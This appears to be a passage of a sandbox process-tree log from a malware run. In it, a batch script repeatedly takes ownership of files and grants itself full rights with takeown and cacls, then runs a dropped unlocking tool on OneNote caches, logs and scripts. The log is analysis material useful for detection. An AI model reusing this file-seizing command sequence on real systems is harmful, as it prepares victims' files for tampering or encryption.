C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007V.bin""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007V.bin" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007V.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000007V.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000007V.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000087.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000087.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000087.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000087.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000087.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "75fbd12bafcbd46e.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "75fbd12bafcbd46e.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.57de3cf2-7164-4b5b-86ea-57fc77b7b247.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.57de3cf2-7164-4b5b-86ea-57fc77b7b247.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.57de3cf2-7164-4b5b-86ea-57fc77b7b247.1.etl"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "NotificationUxBroker.57de3cf2-7164-4b5b-86ea-57fc77b7b247.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "NotificationUxBroker.57de3cf2-7164-4b5b-86ea-57fc77b7b247.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009B.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009B.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009B.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000009B.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000009B.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009J.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009J.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009J.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000009J.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000009J.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AJ.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AJ.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AJ.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "000000AJ.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "000000AJ.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B5.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B5.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B5.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "000000B5.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "000000B5.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "KnownGameList.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "KnownGameList.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000008.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000008.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000J.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000J.bin" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000S.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000S.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000014.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000014.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000054.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000054.bin" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000006.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000006.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000H.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000H.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000Q.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000Q.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000012.bin" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000012.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "OfficeIntegrator.ps1" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "OfficeIntegrator.ps1" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "overlay.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "overlay.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "75fbd12bafcbd46e_COM15.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "75fbd12bafcbd46e_COM15.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.4fedb651-3642-44c6-9fd4-6c69375d9287.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.4fedb651-3642-44c6-9fd4-6c69375d9287.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.4fedb651-3642-44c6-9fd4-6c69375d9287.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "UpdateSessionOrchestration.4fedb651-3642-44c6-9fd4-6c69375d9287.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "UpdateSessionOrchestration.4fedb651-3642-44c6-9fd4-6c69375d9287.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000052.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000052.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000006S.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000006S.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000007C.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000007C.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000007K.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000007K.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin" /E /G Admin:F /C3⤵
-
-
